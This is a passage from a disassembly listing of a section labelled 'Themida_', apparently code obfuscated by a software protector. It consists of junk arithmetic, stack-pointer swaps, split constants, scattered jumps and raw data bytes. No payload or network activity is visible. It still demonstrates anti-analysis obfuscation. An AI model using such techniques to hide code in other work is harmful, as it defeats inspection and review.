sub esi, 715A2F60h
pop edx
push ebx
push eax
push edx
push esi
push 13333588h
pop esi
jmp loc_55EEE8
; ---------------------------------------------------------------------------
dd 148BD301h, 4C48324h, 0FFD51AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5564AD: ; CODE XREF: Themida_:00563FCEj
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
jmp loc_55AEFF
; ---------------------------------------------------------------------------
loc_5564C3: ; CODE XREF: Themida_:0055F259j
mov dl, bh
jmp loc_560612
; ---------------------------------------------------------------------------
aZSs db 'Z)ØéS}',0
align 2
loc_5564D2: ; CODE XREF: Themida_:0055DBD3j
mov edi, 446664E4h
inc edi
shr edi, 4
xor edi, 446664Ah
push edi
xor dword ptr [esp], 0A6A7FD2h
pop ebp
xor ebp, 0A6A7FD2h
pop edi
add ebx, ebp
pop ebp
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
xor eax, ebx
push dword ptr [esp]
pop ebx
jmp loc_55C497
; ---------------------------------------------------------------------------
db 81h, 0F6h, 0Eh
dd 295726F2h, 0B1E95EF3h, 450000F1h, 4BCBF581h, 0ED816D04h
dd 414545ABh, 679DA1BEh, 0E7B9E9F5h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55652E: ; CODE XREF: Themida_:005672A5j
add esp, 4
and ecx, esi
pop esi
jmp loc_56535F
; ---------------------------------------------------------------------------
loc_55653C: ; CODE XREF: Themida_:0055C49Cj
mov [esp], ecx
jmp loc_566F23
; ---------------------------------------------------------------------------
dd 1ED81h, 0ED810000h, 0F6D266A1h, 5A5DE801h, 4BD55h, 50000h
dd 1569E24h, 0EBE952E8h
db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556567: ; CODE XREF: Themida_:005652F4j
mov edi, esp
add edi, 4
add edi, 4
jmp loc_55C981
; ---------------------------------------------------------------------------
loc_556577: ; CODE XREF: Themida_:00564ADFj
pop edx
sub ebx, 72BE742Dh
and ebx, 73A20D3Bh
push esi
mov esi, 1800017h
xor ebx, esi
pop esi
sub edx, ebx
pop ebx
xchg edx, [esp]
jmp loc_562A49
; ---------------------------------------------------------------------------
dd 0F05BF57h, 0DFF76175h, 8147D7F7h, 3DDCCBF7h, 8BFB016Ah
dd 0C483243Ch, 0FFD82904h, 835B2434h, 0F02904C4h, 11BD68h
dd 6F91E900h, 0BC680000h, 8900000Ah, 0B7B3241Ch, 0CBFECBFEh
dd 0F607E3C0h, 0E9D3F6D3h, 0FFFFE5DCh
; ---------------------------------------------------------------------------
loc_5565E0: ; CODE XREF: Themida_:00564722j
sub ebx, 584D5A12h
sub ebx, 384C584Dh
jmp loc_553921
; ---------------------------------------------------------------------------
db 0BBh, 0FCh, 13h
dd 0BF5718E0h, 780E0DB1h, 5842E9h, 5D80100h, 14C42248h
dd 8B2434FFh, 0C483241Ch, 4C48304h, 2FB95156h, 0BE35AA07h
dd 70564925h, 0E959CE29h, 84Eh, 240C8B66h, 0E902C483h
dd 0FFFFE602h, 24348156h, 51FA7FE9h, 7FE93558h, 348B51FAh
dd 36E95124h, 2D000059h, 2D40589h, 3AE9C609h, 8B00006Ch
dd 2C892424h, 1737E924h, 0D8B40000h, 5866E120h, 4B4CE9h
db 0
; ---------------------------------------------------------------------------
loc_55666D: ; CODE XREF: Themida_:0055B4CDj
mov dh, ah
pop eax
push ebx
mov bh, 0
jmp loc_557914
; ---------------------------------------------------------------------------
dd 0E9241489h, 3C6Fh
; ---------------------------------------------------------------------------
loc_556680: ; CODE XREF: Themida_:00556075j
pop ebx
mov edi, edx
pop edx
shr edi, 2
push eax
mov eax, 48692213h
sub edi, eax
pop eax
and edi, 248D3161h
add edi, 0EF2F06D9h
sub ebp, 50611D7h
sub ebp, 1E6B5A51h
jmp loc_553516
; ---------------------------------------------------------------------------
loc_5566AD: ; CODE XREF: Themida_:00562BE1j
add eax, 4
add eax, 4
jmp loc_55F132
; ---------------------------------------------------------------------------
loc_5566BA: ; CODE XREF: Themida_:0055C9B7j
xor [esp], ebx
jmp loc_56053D
; ---------------------------------------------------------------------------
loc_5566C2: ; CODE XREF: Themida_:0055A1F7j
dec esi
push 1FDAh
mov [esp], ecx
push eax
push 76581EB3h
mov eax, [esp]
add esp, 4
neg eax
xor eax, 8887A55Eh
push eax
sub dword ptr [esp], 2D5430D7h
jmp loc_561E7F
; ---------------------------------------------------------------------------
dw 0C281h
dd 4, 4BF57h, 0FA010000h, 993DE9h, 4C38100h, 33000000h
dd 1C31241Ch, 241C3324h, 6824248Bh, 5D6Ch, 81240C89h, 4ECh
dd 7955E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_556726: ; CODE XREF: Themida_:00552F1Aj
add esp, 4
or edx, eax
shl edx, 1
push 444Dh
jmp loc_5623C8
; ---------------------------------------------------------------------------
db 52h
dd 417209BAh, 0FF69E951h, 0CF810000h, 47D357C2h, 7169E781h
dd 0F7814A77h, 6EF17585h, 3C8BF831h, 4C48324h, 0EC2DD0F7h
dd 0E9E3C728h, 0FFFFC754h, 5124048Fh, 4B9h, 246C8100h
dd 89451504h, 0CF83E977h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55677E: ; CODE XREF: Themida_:00557104j
shl ebp, 6
neg ebp
neg ebp
add ebp, 0CE1A343Ah
jmp loc_5648A5
; ---------------------------------------------------------------------------
dd 4EC835Eh, 54240489h, 40558h, 0BF570000h, 4, 0A527E9h
db 0
; ---------------------------------------------------------------------------
loc_5567A9: ; CODE XREF: Themida_:005599F8j
dec eax
push 7E4Ah
mov [esp], eax
xchg ebp, [esp]
not ebp
xchg ebp, [esp]
jmp loc_5629A5
; ---------------------------------------------------------------------------
loc_5567BF: ; CODE XREF: Themida_:0056725Ej
pop esi
add esp, 4
shr ecx, 0Bh
push esi
push ebp
jmp loc_5643E0
; ---------------------------------------------------------------------------
db 66h, 8Bh, 0Ch
dd 4EC8124h, 89000000h, 7AE9240Ch, 83FFFFCAh, 0D9F704C4h
dd 0FFC1E9h, 0EDB85000h, 2939BA68h, 3E958C2h, 570000FEh
dd 8AC5E9h
db 0
; ---------------------------------------------------------------------------
loc_5567FD: ; CODE XREF: Themida_:0056371Ej
pop esi
jmp loc_562985
; ---------------------------------------------------------------------------
db 50h
dd 3A8FFDB8h, 8BC68939h, 0C4832404h, 0E9F03104h, 104BFh
dd 26BBF581h, 0F5813CA3h, 36B01E58h, 34FFE801h, 242C8B24h
dd 0A724E9h
db 0
; ---------------------------------------------------------------------------
loc_556831: ; CODE XREF: Themida_:00558D60j
push 4
pop eax
add ebp, eax
pop eax
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
push 5093h
mov [esp], ebp
mov ebp, 1
push ecx
jmp loc_5644FE
; ---------------------------------------------------------------------------
loc_556859: ; CODE XREF: Themida_:00564E27j
xor eax, 430A1BA3h
add eax, 472250Ah
jmp loc_56728C
; ---------------------------------------------------------------------------
loc_556868: ; CODE XREF: Themida_:00561932j
xchg edi, [esp]
pop esp
loc_55686C: ; CODE XREF: Themida_:0055CCB5j
push 0BC7h
mov [esp], ecx
push eax
push ebx
jmp loc_55C332
; ---------------------------------------------------------------------------
db 89h
dd 0E93158C1h, 0E9CB215Dh, 10C03h, 4EA835Bh, 8B241487h
dd 8F542424h, 0B8502404h, 4, 4244401h, 582434FFh, 275168h
dd 0F3FBE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5568AE: ; CODE XREF: Themida_:00561DC0j
sub ebp, esi
jmp loc_567991
; ---------------------------------------------------------------------------
db 8Fh, 4, 24h
aLH db '‹$$h»-',0
align 10h
dd 50241C89h, 23A9E9h, 0C8B6600h, 5AB06824h, 3C890000h
dd 45BD6824h, 24890000h, 4B85024h, 0E9000000h, 1A9Dh, 81243C8Bh
dd 4C4h, 0BA525A00h, 75F757B3h, 8108EAC1h, 0C1AA48EAh
dd 81FDE935h, 34890000h, 0B9E95024h, 830000E7h, 348B04C4h
dd 4C48124h, 0E9000000h, 0FFFFC318h, 0CF0827B1h, 341FE959h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55692A: ; CODE XREF: Themida_:005666A6j
sub ebx, esi
sub ebx, 22327E3Bh
pop esi
jmp loc_5659C7
; ---------------------------------------------------------------------------
loc_556938: ; CODE XREF: Themida_:0056554Fj
not edx
inc edx
jmp loc_559C87
; ---------------------------------------------------------------------------
dd 8E03F781h, 0FE8967C2h, 6FFCE95Fh, 0C6810000h, 70530523h
dd 683DE681h, 0EDE931C7h
db 3Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55695F: ; CODE XREF: Themida_:0055E67Ej
push eax
push esp
pop eax
add eax, 4
jmp loc_5676FB
; ---------------------------------------------------------------------------
dd 708668h, 6771E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_556976: ; CODE XREF: Themida_:0056010Cj
push 5CA9h
mov [esp], ebp
jmp loc_5592A5
; ---------------------------------------------------------------------------
db 5Ah
dd 0F7538005h, 2DF0013Fh, 3FF75380h, 5E2434FFh, 4C481h
dd 9CE90000h, 89000002h, 0BF572434h, 0A205D42h, 5F85BB53h
dd 0C381798Dh, 19AF74D6h, 8105E3C1h, 3E5A21EBh, 6EBC137h
dd 5103E3C1h, 0CA3F8AB9h, 0BAE98124h, 8143C867h, 0CD6206E9h
dd 8DC98150h, 81482F00h, 0D98B67E9h, 59CB016Dh, 895BDF31h
dd 243C8BFEh, 5504C483h, 0BE3915BDh, 5DEE2103h, 83C7E9h
dd 24148B00h, 0EE6FE9h
db 0
; ---------------------------------------------------------------------------
loc_556A05: ; CODE XREF: Themida_:005659B1j
add [esp+4], esi
pop esi
mov eax, [esp]
add esp, 4
add eax, 4
jmp loc_55C476
; ---------------------------------------------------------------------------
loc_556A1A: ; CODE XREF: Themida_:00553928j
mov esi, eax
jmp loc_559382
; ---------------------------------------------------------------------------
db 8Bh, 14h, 24h
dd 3104C483h, 0E8015AD0h, 0FFC1015Dh, 83582434h, 0C18104C4h
dd 2, 31240C33h, 0C33240Ch, 24248B24h, 4AC5E9h, 191EB900h
dd 3BE908AAh, 81000010h, 391E83EEh, 81C6010Eh, 391E83C6h
dd 4EC830Eh, 0BF243C89h, 74BD64ACh, 3035C681h, 0EE812D1Bh
dd 59460D38h, 178FEE81h, 0DFE91A3Eh
db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556A87: ; CODE XREF: Themida_:005592B9j
xor ebp, 303AAE4Bh
mov eax, ebp
pop ebp
sub dword ptr [esp+4], 1B2267F7h
add dword ptr [esp+4], 7F673F3Fh
add [esp+4], eax
jmp loc_555020
; ---------------------------------------------------------------------------
db 5Eh, 81h, 0C6h
dd 0E9FC4861h, 815EF389h, 4ECh, 241C8900h, 46E95B59h
db 16h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_556AC3: ; CODE XREF: Themida_:0055791Aj
sub esp, 4
mov [esp], eax
mov ah, 9Fh
and bh, ah
pop eax
add bh, 44h
add dh, bh
mov ebx, [esp]
add esp, 4
mov ch, dh
mov edx, [esp]
add esp, 4
jmp loc_556341
; ---------------------------------------------------------------------------
loc_556AEC: ; CODE XREF: Themida_:005541BBj
xor edx, [esp]
mov esp, [esp]
mul cl
jmp loc_5586D1
; ---------------------------------------------------------------------------
loc_556AF9: ; CODE XREF: Themida_:005623B1j
add esp, 4
xor edi, 1A0B12EDh
and eax, edi
mov edi, [esp]
push edi
push esp
pop edi
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_563723
; ---------------------------------------------------------------------------
dd 89240489h, 405E0h, 0C0830000h, 24048704h, 56C3315Ch
dd 0BEE9E689h, 0B3000020h, 5BD82817h, 1DADE9h
db 0
; ---------------------------------------------------------------------------
loc_556B41: ; CODE XREF: Themida_:00564099j
add ebx, ebp
sub ebx, 597E3EB0h
mov ebp, [esp]
add esp, 4
push ecx
mov ecx, 384C584Dh
add ebx, ecx
pop ecx
add ebx, 584D5A12h
mov eax, [ebx]
jmp loc_55D878
; ---------------------------------------------------------------------------
db 68h, 0Fh, 6Dh
dd 4890000h, 2474FF24h, 24048B04h, 4C481h, 4FE90000h, 5D00007Bh
dd 9F79E942h, 2C8B0000h, 4C48124h, 83000000h, 0B95104C4h
dd 2, 0F9E9CB01h, 0BB00006Eh, 0BF01BB0h, 471EB951h, 0CB01530Ch
dd 0FFBF5759h, 0E9FFFFFFh, 0FFFFC57Fh, 192DF001h, 573AE4Eh
dd 4C4A6367h, 8324348Bh, 0E95504C4h, 9C1Ah
; ---------------------------------------------------------------------------
loc_556BD0: ; CODE XREF: Themida_:00559F66j
xor ecx, 0CFAC69DDh
jmp loc_55B7EB
; ---------------------------------------------------------------------------
db 68h
dd 6801h, 89243489h, 491DE9E6h, 44810000h, 45150424h, 0FF597789h
dd 815B2434h, 4ECh, 243C8900h, 8468E789h, 89000018h, 4BD242Ch
dd 1000000h, 0C7815DEFh, 4, 8B243C87h, 68552424h, 4, 0B8C3815Dh
dd 12C0A67h, 0B8EB81EBh, 8B2C0A67h, 73E9242Ch, 500000B8h
dd 42474FFh, 24048F58h, 0F624248Bh, 0B60F66E9h, 0FF6866CCh
dd 0C896666h, 0B60F6624h, 9C5166C8h, 0FFBFD7E9h, 4C181FFh
dd 0E9000000h, 0E9BDh, 0E9240C8Bh, 304Ah, 1CE981h, 0CB890092h
dd 5BDE0159h, 5C243487h, 521E68h, 243C8900h, 0BE56E789h
dd 29CD3939h, 0E908EEC1h, 0FFFFD31Ah, 5202EEC1h, 858E957h
dd 0F1250001h, 0D1A837Eh, 322670E1h, 3042AE35h, 0E9C28976h
dd 47Ch, 0FFBF77E9h, 7EFCBEFFh, 0EBBB66F4h, 31C05770h
dd 0EB815EF3h, 733F7C99h, 1405E9h, 0E9D0B400h, 8E7Ch
; ---------------------------------------------------------------------------
loc_556CE0: ; CODE XREF: Themida_:0055D387j
pop edx
jmp loc_5556E6
; ---------------------------------------------------------------------------
loc_556CE6: ; CODE XREF: Themida_:0055D6A0j
push esi
push esp
pop esi
add esi, 4
add esi, 4
jmp loc_555466
; ---------------------------------------------------------------------------
loc_556CFA: ; CODE XREF: Themida_:0056580Ej
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
jmp loc_555161
; ---------------------------------------------------------------------------
aVseb db 'Vé…b',0
align 2
loc_556D1A: ; CODE XREF: Themida_:005674B4j
add dword ptr [esp], 4AF310C2h
mov esi, [esp]
add esp, 4
sub esi, 4AF310C2h
jmp loc_552E1F
; ---------------------------------------------------------------------------
db 21h, 0FBh, 5Fh
dd 0D5FCC381h, 0E981AD77h, 25B037E4h, 0C181D901h, 25B037E4h
dd 0E7B8505Bh, 405EC038h, 85E9D8F7h, 8100005Dh, 31FB26E9h
dd 742CE9B1h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_556D66: ; CODE XREF: Themida_:005619C8j
not edi
shl edi, 1
xor edi, 308640A0h
add ebx, edi
pop edi
add ebx, esi
sub ebx, 372F0348h
pop esi
pop eax
push 4454h
mov [esp], edx
mov edx, 4
sub ebx, 3D77118Dh
add ebx, edx
add ebx, 3D77118Dh
mov edx, [esp]
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
or [edi+1Ch], ebx
push dword ptr [esp]
pop ebx
jmp loc_55B6A1
; ---------------------------------------------------------------------------
db 0FFh
dd 669D1C77h, 241CD259h, 0BE76E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556DC2: ; CODE XREF: Themida_:00566BF5j
mov ebx, [esp]
push eax
mov eax, esp
add eax, 4
sub eax, 4
jmp loc_55529F
; ---------------------------------------------------------------------------
loc_556DD7: ; CODE XREF: Themida_:0055CCC1j
push dword ptr [esp]
jmp loc_5578CB
; ---------------------------------------------------------------------------
db 0FFh
a4Swz db '4$éwz',0
dw 8900h
dd 0A2E951E3h
db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556DEF: ; CODE XREF: Themida_:0055C98Cj
add ebx, 4
push 19CBh
mov [esp], ebx
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_55CD0D
; ---------------------------------------------------------------------------
loc_556E06: ; CODE XREF: Themida_:005576B2j
push dword ptr [esp]
pop ebx
push 6A40h
mov [esp], edx
jmp loc_566EED
; ---------------------------------------------------------------------------
aLFp db '‹$$f',0
db 0E9h, 16h, 0BEh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_556E22: ; CODE XREF: Themida_:0055C0A8j
mov [esp], edx
push esp
jmp loc_555672
; ---------------------------------------------------------------------------
loc_556E2B: ; CODE XREF: Themida_:00565557j
add esp, 4
add esp, 4
jmp loc_554E59
; ---------------------------------------------------------------------------
aHU db '\hÃu',0
dw 8900h
dd 0FCE92404h, 0FFFFBEh, 0D7C480CCh, 7FE0E9h
db 0
; ---------------------------------------------------------------------------
loc_556E51: ; CODE XREF: Themida_:005594D6j
pop ebx
not eax
jmp loc_56659E
; ---------------------------------------------------------------------------
db 5Ah, 88h, 0FCh
dd 8BE3005Bh, 0C4812404h, 4, 5166C328h, 0C1800CB1h, 0BEBE9D0h
dd 0E6810001h, 48393C82h, 2E7E681h, 0C6810253h, 72CF1B5Ch
dd 8101EE83h, 0A4EB16C6h, 0C1C381A1h, 29262301h, 3E4FE9F3h
dd 1590000h, 0EC835BDAh, 241C8904h, 1ADE68h, 24048900h
dd 7DB1BD55h, 0C58111FFh, 6C5A1E7Ch, 0A79E9h, 8BC60100h
dd 0C4812404h, 4, 2C681h, 34870000h, 2AE6E924h, 0EA010000h
dd 102BB850h, 0BB531612h, 34291F10h, 225FE9h
db 0
; ---------------------------------------------------------------------------
loc_556EED: ; CODE XREF: Themida_:00564205j
mov [edi+38h], ch
pop ecx
mov ebx, [esp]
sub esp, 4
jmp loc_56168F
; ---------------------------------------------------------------------------
db 51h
dd 63676AB9h, 0CBD5E97Bh, 0F1B9FFFFh, 412A9D33h, 157E181h
dd 0E9414F79h, 0FFFFC15Fh, 242C875Fh, 2404815Ch, 1031154Ch
dd 81240401h, 154C242Ch, 4811031h, 830F6624h, 242C811Eh
dd 0EE057ADh, 738CE9h, 24048B00h, 0CE8EE9h, 3EAC100h, 0E950D2F7h
dd 1324h
; ---------------------------------------------------------------------------
loc_556F58: ; CODE XREF: Themida_:0055F28Fj
mov edi, 4
add ebx, edi
pop edi
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
shl ebx, 4
shl ebx, 7
push edx
push 46C526D3h
pop edx
push ebp
mov ebp, 3757D69h
and ebp, 33DB488Ah
add ebp, 64E3CF21h
sub edx, ebp
pop ebp
add edx, 955BF056h
xor ebx, edx
pop edx
push ebx
jmp loc_55BD5C
; ---------------------------------------------------------------------------
db 33h, 4, 24h
dd 33240431h, 0FE5C2404h, 0E99C240Ch, 0FFFFBC88h, 0E959CD29h
dd 0D0FFh, 433368h, 240C8900h, 785FC3B9h, 81D1F73Ah, 4842AAC1h
dd 62CAE964h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_556FD2: ; CODE XREF: Themida_:0055942Fj
push ecx
mov ecx, 4
add [esp+4], ecx
jmp loc_56744C
; ---------------------------------------------------------------------------
aZ0Fyhz db '‡,$\0ÈfYh‡(',0
align 2
dw 15E9h
dd 500000F0h, 415668h, 89F6E900h, 0C2810000h, 6D5B2BE6h
dd 5590EA81h, 875E13C9h, 248B2414h, 4216624h, 31E99C24h
db 11h, 1, 0
; ---------------------------------------------------------------------------
loc_55701B: ; CODE XREF: Themida_:005580A8j
sub ebp, edx
pop edx
sub ebp, 6E2348C3h
add ebp, esi
add ebp, 6E2348C3h
sub esp, 4
mov [esp], ecx
jmp loc_55FAC7
; ---------------------------------------------------------------------------
loc_55703A: ; CODE XREF: Themida_:00558104j
mov bl, 3Ch
jmp loc_555BFF
; ---------------------------------------------------------------------------
loc_557041: ; CODE XREF: Themida_:005679DAj
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
add esp, 4
push 4152h
jmp loc_553716
; ---------------------------------------------------------------------------
loc_557062: ; CODE XREF: Themida_:005659EFj
mov eax, 0FFFFFFFFh
add edx, eax
pop eax
neg edx
add edx, 9F26A79h
add eax, edx
pop edx
jmp loc_55D13C
; ---------------------------------------------------------------------------
dw 34FFh
dd 2434FF24h, 4C48158h, 0E9000000h, 24B6h, 0B252505Ch
dd 0B2B4B4h, 0D7E95AD4h, 80000E9h, 0EF8059CFh, 0FED7F642h
dd 0A7E951C7h, 8300001Dh, 0CAE904ECh, 0BB0000D5h, 4, 0FC23E9h
db 0
; ---------------------------------------------------------------------------
loc_5570BD: ; CODE XREF: Themida_:00563E10j
sub ecx, 23BD5266h
add ecx, edi
add ecx, 23BD5266h
pop edi
add ecx, 0FFFFFFFFh
jmp loc_5575DD
; ---------------------------------------------------------------------------
dd 8124048Bh, 4C4h, 0BB95E900h, 0C801FFFFh, 0C22CE9h
db 0
; ---------------------------------------------------------------------------
loc_5570E9: ; CODE XREF: Themida_:0055F16Fj
xor edx, 54570784h
not edx
neg edx
and edx, 65FE2948h
jmp loc_563BFF
; ---------------------------------------------------------------------------
loc_5570FE: ; CODE XREF: Themida_:0055B7AEj
push ebp
mov ebp, 658706D6h
jmp loc_55677E
; ---------------------------------------------------------------------------
aBPSM db 'Ë·\P{é',9,'m',0
align 4
dd 3E1168h, 0CC5FE900h, 0DF31FFFFh, 56241C8Bh, 0C681E689h
dd 4, 3AB0E9h, 0E9C10100h, 2E0Fh, 0C2814258h, 0E8406A6h
dd 0C6E9D2F7h
db 5Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_557147: ; CODE XREF: Themida_:0055EEA4j
pop edx
push dword ptr [esp]
pop edi
add esp, 4
not edi
xchg edi, edx
xchg edx, [esp]
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
add esp, 4
push eax
push dword ptr [esp+4]
pop eax
jmp loc_55DA66
; ---------------------------------------------------------------------------
dd 5686659h, 489662Fh, 7A67E924h, 66580000h, 3E3DC281h
dd 6E2C166h, 46E28166h, 0C283662Ah, 66556601h, 66F7AA68h
dd 0EA29665Dh, 0FFC965E9h, 5D001FFh, 6E987106h, 0E289525Ah
dd 4C281h, 32E90000h, 54000083h, 8324048Bh, 40504C4h, 81000000h
dd 4ECh, 0F4A6E900h, 1C8BFFFFh, 95DAE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5571DA: ; CODE XREF: Themida_:0056432Aj
xchg ebp, [esp]
mov esp, [esp]
bt [esp], eax
pushf
jmp loc_552C38
; ---------------------------------------------------------------------------
loc_5571EA: ; CODE XREF: Themida_:00567909j
pop ebp
push edi
mov edi, 4
add ebp, edi
jmp loc_562400
; ---------------------------------------------------------------------------
dd 4B951h, 0CB010000h, 4EB8359h, 0E9241C87h, 0CD93h
; ---------------------------------------------------------------------------
loc_55720C: ; CODE XREF: Themida_:00563CC1j
push esi
mov esi, 683B0040h
neg esi
shr esi, 6
add esi, 14045F67h
add ecx, esi
pop esi
push ebp
push ecx
mov ecx, 7AA83AD4h
shl ecx, 1
add ecx, 72C01D7Bh
sub ecx, 24664B8Ah
mov ebp, ecx
jmp loc_566973
; ---------------------------------------------------------------------------
loc_55723C: ; CODE XREF: Themida_:00555650j
or eax, eax
jz loc_565F13
sub esp, 4
mov [esp], ebx
push esi
push ebx
jmp loc_55C609
; ---------------------------------------------------------------------------
dd 0FBF4C181h, 4EE96E36h, 8900002Fh, 4BB241Ch, 0E9000000h
dd 0E647h, 1393C581h, 0F0E93CEDh, 0C0FFFFEFh, 0EB8007E3h
dd 8BDA88ABh, 0C483241Ch, 40F26804h, 0C890000h, 0E99FB524h
dd 101E7h, 83242C89h, 248904ECh, 39EFE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5572A2: ; CODE XREF: Themida_:00566E5Aj
xor edi, [esp]
xor [esp], edi
jmp loc_55C8FB
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 4C48359h, 5002C683h, 24048B54h, 4C481h, 0BE560000h
dd 4, 835EF001h, 48704E8h, 34895C24h, 2474FF24h, 0F1D9E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5572DE: ; CODE XREF: Themida_:005531D9j
pop esp
push ebx
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], eax
mov eax, 27693B2Bh
sub eax, 235312CFh
shl eax, 8
jmp loc_5533DA
; ---------------------------------------------------------------------------
loc_557308: ; CODE XREF: Themida_:0056341Aj
xchg edi, [esp]
jmp loc_559F84
; ---------------------------------------------------------------------------
dd 4BEh, 0CC18100h, 1601C49h, 76F2E9F1h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_557322: ; CODE XREF: Themida_:005653EBj
push ebx
mov bl, 64h
mov al, bl
pop ebx
sub bl, al
mov ax, [esp]
push ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebp
jmp loc_566D3E
; ---------------------------------------------------------------------------
dw 0B151h
dd 2E9C0A6h, 8001E980h, 0D9F6C2F1h, 0E957E980h, 0FFFFEFD8h
; ---------------------------------------------------------------------------
loc_557358: ; CODE XREF: Themida_:005591C1j
push dword ptr [esp]
jmp loc_55545E
; ---------------------------------------------------------------------------
dd 0BBEF815Ah, 1A25F6Ah, 243C8BFAh, 4C481h, 0C2830000h
dd 24148704h, 45B9515Ch, 815FF66Fh, 0C92C19E1h, 5AE95504h
dd 0FF0000BDh, 0FF042474h, 0E95D2434h, 5F6Eh
; ---------------------------------------------------------------------------
loc_557398: ; CODE XREF: Themida_:00553EC0j
pop ecx
neg ecx
xor ecx, 0D7B8FD5Dh
mov eax, ecx
pop ecx
add ebp, eax
pop eax
sub ebp, 4
jmp loc_56242F
; ---------------------------------------------------------------------------
dw 0E1B0h
dd 52E9C630h
db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5573BB: ; CODE XREF: Themida_:00559B60j
xor al, dl
jmp loc_554FBC
; ---------------------------------------------------------------------------
dw 0EA81h
dd 58F33EA6h, 21ACE95Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5573CE: ; CODE XREF: Themida_:0055D630j
mov dh, 7Dh
add bl, 0F2h
add bl, dh
sub bl, 0F2h
pop dx
add bl, al
jmp loc_565623
; ---------------------------------------------------------------------------
db 5Ch, 66h, 68h
dd 8966240Dh, 0B753240Ch, 0E970B5D6h, 0FFFFC33Fh
; ---------------------------------------------------------------------------
loc_5573F4: ; CODE XREF: Themida_:0055E0ADj
mov eax, [esp]
push eax
jmp loc_5612DB
; ---------------------------------------------------------------------------
loc_5573FD: ; CODE XREF: Themida_:00554F5Cj
mov [esp], ecx
mov ch, 3
xor ch, 1Dh
shl ch, 7
sub ch, 0
add ch, 0FFh
sub ch, 1
jmp loc_566A1F
; ---------------------------------------------------------------------------
dw 0EEC1h
dd 93E68105h, 0F7297077h, 1FEE81D6h, 29D808C1h, 44055EF0h
dd 0E9593761h, 8628h
; ---------------------------------------------------------------------------
loc_557434: ; CODE XREF: Themida_:005679A0j
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_56021A
; ---------------------------------------------------------------------------
db 81h, 0C1h, 0DCh
dd 2DE57ED3h, 3D8A5107h, 3C7AC005h, 2DC80162h, 623C7AC0h
dd 8A510705h, 9579E93Dh, 41410000h, 0FFBD77E9h, 64C781FFh
dd 1736D13h, 64EF81D7h, 81736D13h, 0BC09F5EFh, 24148B16h
dd 170EE9h, 0E9018800h, 8FEAh, 0E9242C87h, 9614h
; ---------------------------------------------------------------------------
loc_5574A0: ; CODE XREF: Themida_:00565AF8j
add esp, 4
add edi, 4
push esi
mov esi, 4
jmp loc_566432
; ---------------------------------------------------------------------------
loc_5574B7: ; CODE XREF: Themida_:0055AC8Cj
push ebp
mov ebp, 75895798h
mov edx, ebp
jmp loc_567363
; ---------------------------------------------------------------------------
loc_5574C4: ; CODE XREF: Themida_:0055C43Dj
pop ebx
shr ebx, 2
or ebx, 1B2272EFh
xor ebx, 27BC593Ch
jmp loc_55BBF5
; ---------------------------------------------------------------------------
db 81h, 0C1h, 4
dd 56000000h, 4BEh, 5EF12900h, 8735E9h, 24248B00h, 4BEB68h
dd 242C8900h, 12A5BD66h, 0E56E9h, 0D0895000h, 5A58C689h
dd 0B601E9h, 240C8700h, 489665Ch, 841B424h, 0ED7DE9E7h
dd 0EF81FFFFh, 602E3A92h, 0FFEBF3E9h, 0EA814AFFh, 746C517Ah
dd 8919E9h
db 0
; ---------------------------------------------------------------------------
loc_557535: ; CODE XREF: Themida_:00567855j
push dword ptr [esp+4]
pop ebp
jmp loc_560CBF
; ---------------------------------------------------------------------------
loc_55753F: ; CODE XREF: Themida_:0055468Fj
mov ebx, 5E7D6D01h
mov edx, ebx
pop ebx
add eax, edx
pop edx
push 5A18h
mov [esp], edx
mov edx, esp
add edx, 4
push 32CBh
mov [esp], esi
jmp loc_55BDA7
; ---------------------------------------------------------------------------
loc_557567: ; CODE XREF: Themida_:0055D64Fj
mov [esp], ebx
mov ebx, esp
push eax
mov eax, 4
jmp loc_5609A3
; ---------------------------------------------------------------------------
db 5Ah
dd 0A404C800h, 32D468h, 240C8900h, 0F1809EB1h, 593FE9C8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55758E: ; CODE XREF: Themida_:00564181j
pop edx
add ebp, 11726E12h
mov eax, ebp
mov ebp, [esp]
jmp loc_554D40
; ---------------------------------------------------------------------------
loc_55759F: ; CODE XREF: Themida_:005577DBj
sub ecx, 42C3449h
and eax, ecx
pop ecx
